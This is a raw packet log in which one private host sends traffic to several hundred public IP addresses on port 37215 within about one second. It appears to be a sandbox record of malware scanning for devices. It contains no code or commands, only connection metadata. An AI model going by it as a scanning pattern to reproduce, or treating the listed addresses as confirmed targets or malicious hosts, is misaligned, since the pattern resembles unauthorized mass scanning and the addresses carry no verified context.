Jan 1, 2024 12:52:00.033305883 CET	37751	37215	192.168.2.13	197.186.140.89
Jan 1, 2024 12:52:00.033305883 CET	37751	37215	192.168.2.13	107.207.128.33
Jan 1, 2024 12:52:00.033310890 CET	37751	37215	192.168.2.13	156.170.44.54
Jan 1, 2024 12:52:00.033310890 CET	37751	37215	192.168.2.13	222.82.79.99
Jan 1, 2024 12:52:00.033310890 CET	37751	37215	192.168.2.13	41.8.236.164
Jan 1, 2024 12:52:00.033310890 CET	37751	37215	192.168.2.13	41.142.27.69
Jan 1, 2024 12:52:00.033310890 CET	37751	37215	192.168.2.13	41.116.251.115
Jan 1, 2024 12:52:00.033327103 CET	37751	37215	192.168.2.13	160.94.83.35
Jan 1, 2024 12:52:00.033327103 CET	37751	37215	192.168.2.13	41.255.76.9
Jan 1, 2024 12:52:00.033328056 CET	37751	37215	192.168.2.13	156.68.218.249
Jan 1, 2024 12:52:00.033332109 CET	37751	37215	192.168.2.13	197.237.152.33
Jan 1, 2024 12:52:00.033339024 CET	37751	37215	192.168.2.13	41.185.61.11
Jan 1, 2024 12:52:00.033343077 CET	37751	37215	192.168.2.13	156.194.139.147
Jan 1, 2024 12:52:00.033343077 CET	37751	37215	192.168.2.13	121.183.36.219
Jan 1, 2024 12:52:00.033346891 CET	37751	37215	192.168.2.13	156.49.177.167
Jan 1, 2024 12:52:00.033348083 CET	37751	37215	192.168.2.13	102.70.238.195
Jan 1, 2024 12:52:00.033350945 CET	37751	37215	192.168.2.13	156.227.224.8
Jan 1, 2024 12:52:00.033350945 CET	37751	37215	192.168.2.13	196.254.97.94
Jan 1, 2024 12:52:00.033358097 CET	37751	37215	192.168.2.13	156.211.98.60
Jan 1, 2024 12:52:00.033359051 CET	37751	37215	192.168.2.13	197.234.212.231
Jan 1, 2024 12:52:00.033358097 CET	37751	37215	192.168.2.13	41.221.239.154
Jan 1, 2024 12:52:00.033360958 CET	37751	37215	192.168.2.13	197.148.49.88
Jan 1, 2024 12:52:00.033374071 CET	37751	37215	192.168.2.13	41.209.79.241
Jan 1, 2024 12:52:00.033374071 CET	37751	37215	192.168.2.13	41.254.243.104
Jan 1, 2024 12:52:00.033375978 CET	37751	37215	192.168.2.13	41.137.203.54
Jan 1, 2024 12:52:00.033384085 CET	37751	37215	192.168.2.13	197.113.131.199
Jan 1, 2024 12:52:00.033390999 CET	37751	37215	192.168.2.13	41.208.58.245
Jan 1, 2024 12:52:00.033394098 CET	37751	37215	192.168.2.13	45.202.34.84
Jan 1, 2024 12:52:00.033394098 CET	37751	37215	192.168.2.13	156.147.22.127
Jan 1, 2024 12:52:00.033397913 CET	37751	37215	192.168.2.13	197.56.141.55
Jan 1, 2024 12:52:00.033401012 CET	37751	37215	192.168.2.13	107.165.39.85
Jan 1, 2024 12:52:00.033405066 CET	37751	37215	192.168.2.13	156.251.195.57
Jan 1, 2024 12:52:00.033427954 CET	37751	37215	192.168.2.13	41.66.178.233
Jan 1, 2024 12:52:00.033428907 CET	37751	37215	192.168.2.13	156.87.13.73
Jan 1, 2024 12:52:00.033430099 CET	37751	37215	192.168.2.13	197.190.50.200
Jan 1, 2024 12:52:00.033430099 CET	37751	37215	192.168.2.13	197.144.211.157
Jan 1, 2024 12:52:00.033431053 CET	37751	37215	192.168.2.13	154.137.225.205
Jan 1, 2024 12:52:00.033430099 CET	37751	37215	192.168.2.13	156.171.214.54
Jan 1, 2024 12:52:00.033430099 CET	37751	37215	192.168.2.13	197.195.192.8
Jan 1, 2024 12:52:00.033430099 CET	37751	37215	192.168.2.13	197.156.27.254
Jan 1, 2024 12:52:00.033431053 CET	37751	37215	192.168.2.13	197.146.192.39
Jan 1, 2024 12:52:00.033440113 CET	37751	37215	192.168.2.13	222.230.186.229
Jan 1, 2024 12:52:00.033440113 CET	37751	37215	192.168.2.13	94.205.195.109
Jan 1, 2024 12:52:00.033440113 CET	37751	37215	192.168.2.13	45.129.88.5
Jan 1, 2024 12:52:00.033447981 CET	37751	37215	192.168.2.13	197.237.174.196
Jan 1, 2024 12:52:00.033448935 CET	37751	37215	192.168.2.13	157.210.178.32
Jan 1, 2024 12:52:00.033449888 CET	37751	37215	192.168.2.13	122.185.1.156
Jan 1, 2024 12:52:00.033448935 CET	37751	37215	192.168.2.13	156.88.139.150
Jan 1, 2024 12:52:00.033449888 CET	37751	37215	192.168.2.13	197.84.127.102
Jan 1, 2024 12:52:00.033448935 CET	37751	37215	192.168.2.13	196.70.234.219
Jan 1, 2024 12:52:00.033448935 CET	37751	37215	192.168.2.13	41.156.219.48
Jan 1, 2024 12:52:00.033452034 CET	37751	37215	192.168.2.13	156.182.69.192
Jan 1, 2024 12:52:00.033453941 CET	37751	37215	192.168.2.13	156.204.190.148
Jan 1, 2024 12:52:00.033453941 CET	37751	37215	192.168.2.13	156.209.109.79
Jan 1, 2024 12:52:00.033454895 CET	37751	37215	192.168.2.13	41.57.110.243
Jan 1, 2024 12:52:00.033471107 CET	37751	37215	192.168.2.13	156.251.193.44
Jan 1, 2024 12:52:00.033472061 CET	37751	37215	192.168.2.13	154.197.238.250
Jan 1, 2024 12:52:00.033474922 CET	37751	37215	192.168.2.13	197.213.209.17
Jan 1, 2024 12:52:00.033476114 CET	37751	37215	192.168.2.13	156.84.217.210
Jan 1, 2024 12:52:00.033477068 CET	37751	37215	192.168.2.13	160.185.214.184
Jan 1, 2024 12:52:00.033489943 CET	37751	37215	192.168.2.13	154.144.196.75
Jan 1, 2024 12:52:00.033489943 CET	37751	37215	192.168.2.13	197.189.179.150
Jan 1, 2024 12:52:00.033492088 CET	37751	37215	192.168.2.13	94.34.179.229
Jan 1, 2024 12:52:00.033497095 CET	37751	37215	192.168.2.13	156.90.209.54
Jan 1, 2024 12:52:00.033497095 CET	37751	37215	192.168.2.13	41.53.55.159
Jan 1, 2024 12:52:00.033504963 CET	37751	37215	192.168.2.13	156.11.139.77
Jan 1, 2024 12:52:00.033505917 CET	37751	37215	192.168.2.13	197.245.75.74
Jan 1, 2024 12:52:00.033513069 CET	37751	37215	192.168.2.13	41.155.96.209
Jan 1, 2024 12:52:00.033514023 CET	37751	37215	192.168.2.13	41.181.52.35
Jan 1, 2024 12:52:00.033514023 CET	37751	37215	192.168.2.13	41.52.9.36
Jan 1, 2024 12:52:00.033514977 CET	37751	37215	192.168.2.13	156.164.130.106
Jan 1, 2024 12:52:00.033515930 CET	37751	37215	192.168.2.13	197.251.210.90
Jan 1, 2024 12:52:00.033514977 CET	37751	37215	192.168.2.13	121.91.12.228
Jan 1, 2024 12:52:00.033515930 CET	37751	37215	192.168.2.13	156.156.155.113
Jan 1, 2024 12:52:00.033515930 CET	37751	37215	192.168.2.13	186.127.44.10
Jan 1, 2024 12:52:00.033520937 CET	37751	37215	192.168.2.13	41.14.247.123
Jan 1, 2024 12:52:00.033520937 CET	37751	37215	192.168.2.13	222.93.36.216
Jan 1, 2024 12:52:00.033520937 CET	37751	37215	192.168.2.13	156.169.142.194
Jan 1, 2024 12:52:00.033524036 CET	37751	37215	192.168.2.13	156.241.115.29
Jan 1, 2024 12:52:00.033524036 CET	37751	37215	192.168.2.13	156.241.241.183
Jan 1, 2024 12:52:00.033525944 CET	37751	37215	192.168.2.13	156.197.151.83
Jan 1, 2024 12:52:00.033528090 CET	37751	37215	192.168.2.13	41.254.17.57
Jan 1, 2024 12:52:00.033541918 CET	37751	37215	192.168.2.13	156.41.43.209
Jan 1, 2024 12:52:00.033545971 CET	37751	37215	192.168.2.13	156.48.250.91
Jan 1, 2024 12:52:00.033545971 CET	37751	37215	192.168.2.13	122.76.99.180
Jan 1, 2024 12:52:00.033576965 CET	37751	37215	192.168.2.13	197.22.85.213
Jan 1, 2024 12:52:00.033580065 CET	37751	37215	192.168.2.13	41.27.13.252
Jan 1, 2024 12:52:00.033592939 CET	37751	37215	192.168.2.13	197.112.92.215
Jan 1, 2024 12:52:00.033592939 CET	37751	37215	192.168.2.13	156.95.59.163
Jan 1, 2024 12:52:00.033597946 CET	37751	37215	192.168.2.13	41.156.105.144
Jan 1, 2024 12:52:00.033597946 CET	37751	37215	192.168.2.13	197.215.30.33
Jan 1, 2024 12:52:00.033597946 CET	37751	37215	192.168.2.13	92.117.164.42
Jan 1, 2024 12:52:00.033601046 CET	37751	37215	192.168.2.13	156.117.167.210
Jan 1, 2024 12:52:00.033603907 CET	37751	37215	192.168.2.13	156.8.240.116
Jan 1, 2024 12:52:00.033603907 CET	37751	37215	192.168.2.13	197.158.68.102
Jan 1, 2024 12:52:00.033603907 CET	37751	37215	192.168.2.13	160.216.117.252
Jan 1, 2024 12:52:00.033603907 CET	37751	37215	192.168.2.13	156.122.255.145
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	41.3.143.144
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	107.98.62.151
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	94.199.180.172
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	197.75.76.213
Jan 1, 2024 12:52:00.033629894 CET	37751	37215	192.168.2.13	41.106.114.0
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	156.146.128.69
Jan 1, 2024 12:52:00.033629894 CET	37751	37215	192.168.2.13	197.206.153.16
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	197.216.241.23
Jan 1, 2024 12:52:00.033628941 CET	37751	37215	192.168.2.13	156.186.58.151
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	41.101.34.148
Jan 1, 2024 12:52:00.033629894 CET	37751	37215	192.168.2.13	45.138.10.162
Jan 1, 2024 12:52:00.033628941 CET	37751	37215	192.168.2.13	120.97.206.108
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	45.130.249.212
Jan 1, 2024 12:52:00.033631086 CET	37751	37215	192.168.2.13	197.46.85.116
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	197.69.57.25
Jan 1, 2024 12:52:00.033627987 CET	37751	37215	192.168.2.13	181.43.8.159
Jan 1, 2024 12:52:00.033631086 CET	37751	37215	192.168.2.13	197.185.50.191
Jan 1, 2024 12:52:00.033628941 CET	37751	37215	192.168.2.13	41.1.97.179
Jan 1, 2024 12:52:00.033628941 CET	37751	37215	192.168.2.13	156.55.169.202
Jan 1, 2024 12:52:00.033643961 CET	37751	37215	192.168.2.13	222.82.128.90
Jan 1, 2024 12:52:00.033631086 CET	37751	37215	192.168.2.13	41.248.45.143
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	41.43.20.33
Jan 1, 2024 12:52:00.033643961 CET	37751	37215	192.168.2.13	41.158.230.239
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	156.63.41.15
Jan 1, 2024 12:52:00.033643961 CET	37751	37215	192.168.2.13	197.201.239.118
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	41.185.232.18
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	120.148.192.134
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	37.208.218.239
Jan 1, 2024 12:52:00.033644915 CET	37751	37215	192.168.2.13	37.60.91.132
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	41.31.67.124
Jan 1, 2024 12:52:00.033654928 CET	37751	37215	192.168.2.13	41.90.12.191
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	41.26.227.101
Jan 1, 2024 12:52:00.033654928 CET	37751	37215	192.168.2.13	92.193.219.97
Jan 1, 2024 12:52:00.033658981 CET	37751	37215	192.168.2.13	120.136.215.231
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	156.70.66.41
Jan 1, 2024 12:52:00.033658981 CET	37751	37215	192.168.2.13	156.94.129.254
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	197.248.254.95
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	41.236.240.24
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	92.11.130.11
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	41.251.246.37
Jan 1, 2024 12:52:00.033655882 CET	37751	37215	192.168.2.13	156.77.89.232
Jan 1, 2024 12:52:00.033670902 CET	37751	37215	192.168.2.13	156.195.42.251
Jan 1, 2024 12:52:00.033685923 CET	37751	37215	192.168.2.13	156.72.46.45
Jan 1, 2024 12:52:00.033710003 CET	37751	37215	192.168.2.13	197.87.36.242
Jan 1, 2024 12:52:00.033710003 CET	37751	37215	192.168.2.13	222.69.78.109
Jan 1, 2024 12:52:00.033710003 CET	37751	37215	192.168.2.13	197.85.191.17
Jan 1, 2024 12:52:00.033710003 CET	37751	37215	192.168.2.13	222.153.31.1
Jan 1, 2024 12:52:00.171747923 CET	37215	37751	154.38.168.7	192.168.2.13
Jan 1, 2024 12:52:00.316356897 CET	37215	37751	122.118.239.108	192.168.2.13
Jan 1, 2024 12:52:00.327034950 CET	37215	37751	222.238.238.33	192.168.2.13
Jan 1, 2024 12:52:00.336781979 CET	37215	37751	156.254.83.213	192.168.2.13
Jan 1, 2024 12:52:00.336833954 CET	37751	37215	192.168.2.13	156.254.83.213
Jan 1, 2024 12:52:00.338203907 CET	37215	37751	156.247.27.74	192.168.2.13
Jan 1, 2024 12:52:00.338263988 CET	37751	37215	192.168.2.13	156.247.27.74
Jan 1, 2024 12:52:00.339421034 CET	37215	37751	197.12.118.157	192.168.2.13
Jan 1, 2024 12:52:00.339818001 CET	37215	37751	156.253.91.129	192.168.2.13
Jan 1, 2024 12:52:00.349909067 CET	37215	37751	156.242.243.218	192.168.2.13
Jan 1, 2024 12:52:00.362092972 CET	37215	37751	197.9.177.170	192.168.2.13
Jan 1, 2024 12:52:00.370584965 CET	37215	37751	156.240.19.106	192.168.2.13
Jan 1, 2024 12:52:00.370650053 CET	37215	37751	41.184.255.33	192.168.2.13
Jan 1, 2024 12:52:00.397666931 CET	37215	37751	41.185.61.11	192.168.2.13
Jan 1, 2024 12:52:00.426803112 CET	37215	37751	41.57.110.243	192.168.2.13
Jan 1, 2024 12:52:00.439799070 CET	37215	37751	197.8.109.146	192.168.2.13
Jan 1, 2024 12:52:00.448869944 CET	37215	37751	41.190.116.69	192.168.2.13
Jan 1, 2024 12:52:00.846824884 CET	37215	37751	181.106.221.152	192.168.2.13
Jan 1, 2024 12:52:00.975119114 CET	37215	37751	196.185.115.248	192.168.2.13
Jan 1, 2024 12:52:01.034821987 CET	37751	37215	192.168.2.13	41.54.217.227
Jan 1, 2024 12:52:01.034822941 CET	37751	37215	192.168.2.13	41.76.95.57
Jan 1, 2024 12:52:01.034832954 CET	37751	37215	192.168.2.13	156.85.173.165
Jan 1, 2024 12:52:01.034832954 CET	37751	37215	192.168.2.13	186.126.50.22
Jan 1, 2024 12:52:01.034833908 CET	37751	37215	192.168.2.13	121.77.127.41
Jan 1, 2024 12:52:01.034840107 CET	37751	37215	192.168.2.13	197.174.228.87
Jan 1, 2024 12:52:01.034845114 CET	37751	37215	192.168.2.13	156.241.231.208
Jan 1, 2024 12:52:01.034854889 CET	37751	37215	192.168.2.13	197.232.78.3
Jan 1, 2024 12:52:01.034854889 CET	37751	37215	192.168.2.13	197.98.77.226
Jan 1, 2024 12:52:01.034861088 CET	37751	37215	192.168.2.13	121.128.20.78
Jan 1, 2024 12:52:01.034861088 CET	37751	37215	192.168.2.13	41.115.163.154
Jan 1, 2024 12:52:01.034861088 CET	37751	37215	192.168.2.13	45.174.111.92
Jan 1, 2024 12:52:01.034862995 CET	37751	37215	192.168.2.13	156.157.95.35
Jan 1, 2024 12:52:01.034862995 CET	37751	37215	192.168.2.13	121.177.229.234
Jan 1, 2024 12:52:01.034862995 CET	37751	37215	192.168.2.13	41.178.109.19
Jan 1, 2024 12:52:01.034862995 CET	37751	37215	192.168.2.13	197.38.84.51
Jan 1, 2024 12:52:01.034861088 CET	37751	37215	192.168.2.13	197.158.167.81
Jan 1, 2024 12:52:01.034867048 CET	37751	37215	192.168.2.13	41.199.73.30
Jan 1, 2024 12:52:01.034867048 CET	37751	37215	192.168.2.13	196.236.48.109
Jan 1, 2024 12:52:01.034867048 CET	37751	37215	192.168.2.13	41.220.53.44
Jan 1, 2024 12:52:01.034872055 CET	37751	37215	192.168.2.13	41.127.232.215
Jan 1, 2024 12:52:01.034872055 CET	37751	37215	192.168.2.13	181.4.155.205
Jan 1, 2024 12:52:01.034877062 CET	37751	37215	192.168.2.13	102.7.14.75
Jan 1, 2024 12:52:01.034878016 CET	37751	37215	192.168.2.13	156.17.246.136
Jan 1, 2024 12:52:01.034900904 CET	37751	37215	192.168.2.13	154.24.69.194
Jan 1, 2024 12:52:01.034914970 CET	37751	37215	192.168.2.13	41.204.94.62
Jan 1, 2024 12:52:01.034953117 CET	37751	37215	192.168.2.13	41.236.29.188
Jan 1, 2024 12:52:01.034980059 CET	37751	37215	192.168.2.13	197.164.94.17
Jan 1, 2024 12:52:01.034991980 CET	37751	37215	192.168.2.13	156.231.78.66
Jan 1, 2024 12:52:01.035020113 CET	37751	37215	192.168.2.13	197.208.138.27
Jan 1, 2024 12:52:01.035024881 CET	37751	37215	192.168.2.13	196.229.91.237
Jan 1, 2024 12:52:01.035032988 CET	37751	37215	192.168.2.13	45.254.151.158
Jan 1, 2024 12:52:01.035069942 CET	37751	37215	192.168.2.13	190.183.153.237
Jan 1, 2024 12:52:01.035088062 CET	37751	37215	192.168.2.13	95.19.107.200
Jan 1, 2024 12:52:01.035089016 CET	37751	37215	192.168.2.13	156.114.83.169
Jan 1, 2024 12:52:01.035106897 CET	37751	37215	192.168.2.13	107.171.167.13
Jan 1, 2024 12:52:01.035116911 CET	37751	37215	192.168.2.13	156.225.47.146
Jan 1, 2024 12:52:01.035121918 CET	37751	37215	192.168.2.13	197.95.159.224
Jan 1, 2024 12:52:01.035149097 CET	37751	37215	192.168.2.13	197.38.162.254
Jan 1, 2024 12:52:01.035151958 CET	37751	37215	192.168.2.13	156.7.43.27
Jan 1, 2024 12:52:01.035187006 CET	37751	37215	192.168.2.13	95.170.230.155
Jan 1, 2024 12:52:01.035187006 CET	37751	37215	192.168.2.13	197.59.101.66
Jan 1, 2024 12:52:01.035259008 CET	37751	37215	192.168.2.13	92.48.236.85
Jan 1, 2024 12:52:01.035260916 CET	37751	37215	192.168.2.13	41.93.79.234
Jan 1, 2024 12:52:01.035262108 CET	37751	37215	192.168.2.13	41.15.60.67
Jan 1, 2024 12:52:01.035262108 CET	37751	37215	192.168.2.13	156.61.196.134
Jan 1, 2024 12:52:01.035264015 CET	37751	37215	192.168.2.13	41.181.202.69
Jan 1, 2024 12:52:01.035271883 CET	37751	37215	192.168.2.13	197.85.169.31
Jan 1, 2024 12:52:01.035273075 CET	37751	37215	192.168.2.13	41.187.241.62
Jan 1, 2024 12:52:01.035271883 CET	37751	37215	192.168.2.13	156.171.98.185
Jan 1, 2024 12:52:01.035275936 CET	37751	37215	192.168.2.13	41.71.251.134
Jan 1, 2024 12:52:01.035279989 CET	37751	37215	192.168.2.13	107.235.134.97
Jan 1, 2024 12:52:01.035280943 CET	37751	37215	192.168.2.13	94.34.247.143
Jan 1, 2024 12:52:01.035290003 CET	37751	37215	192.168.2.13	41.57.26.238
Jan 1, 2024 12:52:01.035290003 CET	37751	37215	192.168.2.13	197.177.238.12
Jan 1, 2024 12:52:01.035296917 CET	37751	37215	192.168.2.13	94.208.111.102
Jan 1, 2024 12:52:01.035305977 CET	37751	37215	192.168.2.13	122.207.164.85
Jan 1, 2024 12:52:01.035337925 CET	37751	37215	192.168.2.13	197.172.246.100
Jan 1, 2024 12:52:01.035375118 CET	37751	37215	192.168.2.13	156.75.74.52
Jan 1, 2024 12:52:01.035403013 CET	37751	37215	192.168.2.13	156.66.193.79
Jan 1, 2024 12:52:01.035435915 CET	37751	37215	192.168.2.13	41.38.187.148
Jan 1, 2024 12:52:01.035437107 CET	37751	37215	192.168.2.13	95.207.109.41
Jan 1, 2024 12:52:01.035444021 CET	37751	37215	192.168.2.13	156.183.115.114
Jan 1, 2024 12:52:01.035444021 CET	37751	37215	192.168.2.13	156.164.55.122
Jan 1, 2024 12:52:01.035444021 CET	37751	37215	192.168.2.13	190.3.52.1
Jan 1, 2024 12:52:01.035446882 CET	37751	37215	192.168.2.13	156.8.51.110
Jan 1, 2024 12:52:01.035448074 CET	37751	37215	192.168.2.13	190.211.104.224
Jan 1, 2024 12:52:01.035448074 CET	37751	37215	192.168.2.13	37.56.72.159
Jan 1, 2024 12:52:01.035448074 CET	37751	37215	192.168.2.13	156.37.179.173
Jan 1, 2024 12:52:01.035448074 CET	37751	37215	192.168.2.13	41.53.84.121
Jan 1, 2024 12:52:01.035448074 CET	37751	37215	192.168.2.13	138.80.176.239
Jan 1, 2024 12:52:01.035470963 CET	37751	37215	192.168.2.13	41.46.7.174
Jan 1, 2024 12:52:01.035470963 CET	37751	37215	192.168.2.13	222.207.132.60
Jan 1, 2024 12:52:01.035478115 CET	37751	37215	192.168.2.13	197.198.240.62
Jan 1, 2024 12:52:01.035514116 CET	37751	37215	192.168.2.13	41.62.104.135
Jan 1, 2024 12:52:01.035515070 CET	37751	37215	192.168.2.13	156.45.223.196
Jan 1, 2024 12:52:01.035536051 CET	37751	37215	192.168.2.13	197.166.66.158
Jan 1, 2024 12:52:01.035536051 CET	37751	37215	192.168.2.13	156.172.155.118
Jan 1, 2024 12:52:01.035557985 CET	37751	37215	192.168.2.13	41.247.211.71
Jan 1, 2024 12:52:01.035569906 CET	37751	37215	192.168.2.13	197.232.222.52
Jan 1, 2024 12:52:01.035572052 CET	37751	37215	192.168.2.13	156.3.114.91
Jan 1, 2024 12:52:01.035573959 CET	37751	37215	192.168.2.13	156.45.185.121
Jan 1, 2024 12:52:01.035573959 CET	37751	37215	192.168.2.13	156.59.129.19
Jan 1, 2024 12:52:01.035588026 CET	37751	37215	192.168.2.13	122.157.255.5
Jan 1, 2024 12:52:01.035619974 CET	37751	37215	192.168.2.13	190.12.94.131
Jan 1, 2024 12:52:01.035624027 CET	37751	37215	192.168.2.13	197.104.95.84
Jan 1, 2024 12:52:01.035645008 CET	37751	37215	192.168.2.13	41.163.125.75
Jan 1, 2024 12:52:01.035665035 CET	37751	37215	192.168.2.13	121.141.54.52
Jan 1, 2024 12:52:01.035696030 CET	37751	37215	192.168.2.13	197.98.200.180
Jan 1, 2024 12:52:01.035717964 CET	37751	37215	192.168.2.13	156.105.41.248
Jan 1, 2024 12:52:01.035717964 CET	37751	37215	192.168.2.13	190.80.178.252
Jan 1, 2024 12:52:01.035722971 CET	37751	37215	192.168.2.13	41.69.184.199
Jan 1, 2024 12:52:01.035725117 CET	37751	37215	192.168.2.13	197.183.123.114
Jan 1, 2024 12:52:01.035727978 CET	37751	37215	192.168.2.13	41.240.169.201
Jan 1, 2024 12:52:01.035727978 CET	37751	37215	192.168.2.13	197.239.4.110
Jan 1, 2024 12:52:01.035741091 CET	37751	37215	192.168.2.13	222.217.131.243
Jan 1, 2024 12:52:01.035748005 CET	37751	37215	192.168.2.13	94.99.6.250
Jan 1, 2024 12:52:01.035751104 CET	37751	37215	192.168.2.13	41.0.23.192
Jan 1, 2024 12:52:01.035789967 CET	37751	37215	192.168.2.13	156.230.146.205
Jan 1, 2024 12:52:01.035820961 CET	37751	37215	192.168.2.13	41.155.155.31
Jan 1, 2024 12:52:01.035836935 CET	37751	37215	192.168.2.13	41.222.29.156
Jan 1, 2024 12:52:01.035845041 CET	37751	37215	192.168.2.13	156.30.105.87
Jan 1, 2024 12:52:01.035852909 CET	37751	37215	192.168.2.13	138.150.31.173
Jan 1, 2024 12:52:01.035854101 CET	37751	37215	192.168.2.13	196.192.27.168
Jan 1, 2024 12:52:01.035861969 CET	37751	37215	192.168.2.13	156.89.129.47
Jan 1, 2024 12:52:01.035862923 CET	37751	37215	192.168.2.13	222.163.77.59
Jan 1, 2024 12:52:01.035862923 CET	37751	37215	192.168.2.13	181.83.109.223
Jan 1, 2024 12:52:01.035864115 CET	37751	37215	192.168.2.13	156.240.25.197
Jan 1, 2024 12:52:01.035864115 CET	37751	37215	192.168.2.13	41.117.151.183
Jan 1, 2024 12:52:01.035864115 CET	37751	37215	192.168.2.13	120.171.144.121
Jan 1, 2024 12:52:01.035864115 CET	37751	37215	192.168.2.13	156.6.195.137
Jan 1, 2024 12:52:01.035864115 CET	37751	37215	192.168.2.13	197.13.25.228
Jan 1, 2024 12:52:01.035898924 CET	37751	37215	192.168.2.13	107.132.188.85
Jan 1, 2024 12:52:01.035912991 CET	37751	37215	192.168.2.13	41.212.18.17
Jan 1, 2024 12:52:01.035926104 CET	37751	37215	192.168.2.13	122.176.203.3
Jan 1, 2024 12:52:01.035981894 CET	37751	37215	192.168.2.13	156.248.177.150
Jan 1, 2024 12:52:01.035983086 CET	37751	37215	192.168.2.13	156.161.104.56
Jan 1, 2024 12:52:01.035986900 CET	37751	37215	192.168.2.13	156.83.7.128
Jan 1, 2024 12:52:01.036029100 CET	37751	37215	192.168.2.13	121.67.193.154
Jan 1, 2024 12:52:01.036036968 CET	37751	37215	192.168.2.13	197.77.88.162
Jan 1, 2024 12:52:01.036056995 CET	37751	37215	192.168.2.13	156.189.46.181
Jan 1, 2024 12:52:01.036061049 CET	37751	37215	192.168.2.13	41.80.59.254
Jan 1, 2024 12:52:01.036062956 CET	37751	37215	192.168.2.13	41.208.66.121
Jan 1, 2024 12:52:01.036066055 CET	37751	37215	192.168.2.13	37.163.246.17
Jan 1, 2024 12:52:01.036066055 CET	37751	37215	192.168.2.13	156.163.82.239
Jan 1, 2024 12:52:01.036066055 CET	37751	37215	192.168.2.13	156.160.70.107
Jan 1, 2024 12:52:01.036066055 CET	37751	37215	192.168.2.13	37.254.25.189
Jan 1, 2024 12:52:01.036066055 CET	37751	37215	192.168.2.13	154.52.38.42
Jan 1, 2024 12:52:01.036071062 CET	37751	37215	192.168.2.13	197.253.151.160
Jan 1, 2024 12:52:01.036076069 CET	37751	37215	192.168.2.13	222.164.31.195
Jan 1, 2024 12:52:01.036077023 CET	37751	37215	192.168.2.13	107.80.152.183
Jan 1, 2024 12:52:01.036077976 CET	37751	37215	192.168.2.13	41.83.142.227
Jan 1, 2024 12:52:01.036079884 CET	37751	37215	192.168.2.13	197.230.180.195
Jan 1, 2024 12:52:01.036079884 CET	37751	37215	192.168.2.13	160.246.173.226
Jan 1, 2024 12:52:01.036087990 CET	37751	37215	192.168.2.13	197.209.177.69
Jan 1, 2024 12:52:01.036087990 CET	37751	37215	192.168.2.13	181.225.54.119
Jan 1, 2024 12:52:01.036087990 CET	37751	37215	192.168.2.13	197.174.106.83
Jan 1, 2024 12:52:01.036087990 CET	37751	37215	192.168.2.13	156.19.105.207
Jan 1, 2024 12:52:01.036087990 CET	37751	37215	192.168.2.13	41.58.176.150
Jan 1, 2024 12:52:01.036120892 CET	37751	37215	192.168.2.13	154.206.117.158
Jan 1, 2024 12:52:01.036124945 CET	37751	37215	192.168.2.13	197.114.93.96
Jan 1, 2024 12:52:01.036144972 CET	37751	37215	192.168.2.13	197.134.190.64
Jan 1, 2024 12:52:01.036168098 CET	37751	37215	192.168.2.13	197.25.53.86
Jan 1, 2024 12:52:01.036175013 CET	37751	37215	192.168.2.13	41.167.186.14
Jan 1, 2024 12:52:01.036214113 CET	37751	37215	192.168.2.13	160.49.187.170
Jan 1, 2024 12:52:01.036257982 CET	37751	37215	192.168.2.13	92.196.31.29
Jan 1, 2024 12:52:01.036258936 CET	37751	37215	192.168.2.13	41.107.88.197
Jan 1, 2024 12:52:01.036259890 CET	37751	37215	192.168.2.13	92.94.48.187
Jan 1, 2024 12:52:01.036288023 CET	37751	37215	192.168.2.13	92.6.109.77
Jan 1, 2024 12:52:01.036298990 CET	37751	37215	192.168.2.13	121.85.175.63
Jan 1, 2024 12:52:01.036298990 CET	37751	37215	192.168.2.13	156.48.197.203
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	156.241.161.7
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	156.92.119.128
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	156.37.173.86
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	197.252.255.196
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	156.239.109.186
Jan 1, 2024 12:52:01.036300898 CET	37751	37215	192.168.2.13	156.90.170.196
Jan 1, 2024 12:52:01.036308050 CET	37751	37215	192.168.2.13	102.193.126.48
Jan 1, 2024 12:52:01.036309958 CET	37751	37215	192.168.2.13	154.45.219.165
Jan 1, 2024 12:52:01.036314964 CET	37751	37215	192.168.2.13	120.7.114.233
Jan 1, 2024 12:52:01.036314964 CET	37751	37215	192.168.2.13	156.200.69.98
Jan 1, 2024 12:52:01.036318064 CET	37751	37215	192.168.2.13	45.31.246.87
Jan 1, 2024 12:52:01.036319017 CET	37751	37215	192.168.2.13	154.183.184.119
Jan 1, 2024 12:52:01.036319017 CET	37751	37215	192.168.2.13	197.209.79.149
Jan 1, 2024 12:52:01.036328077 CET	37751	37215	192.168.2.13	92.117.196.226
Jan 1, 2024 12:52:01.036328077 CET	37751	37215	192.168.2.13	41.15.195.117
Jan 1, 2024 12:52:01.036331892 CET	37751	37215	192.168.2.13	94.12.229.88
Jan 1, 2024 12:52:01.036341906 CET	37751	37215	192.168.2.13	41.209.250.74
Jan 1, 2024 12:52:01.036345959 CET	37751	37215	192.168.2.13	197.230.42.3
Jan 1, 2024 12:52:01.036348104 CET	37751	37215	192.168.2.13	156.113.4.27
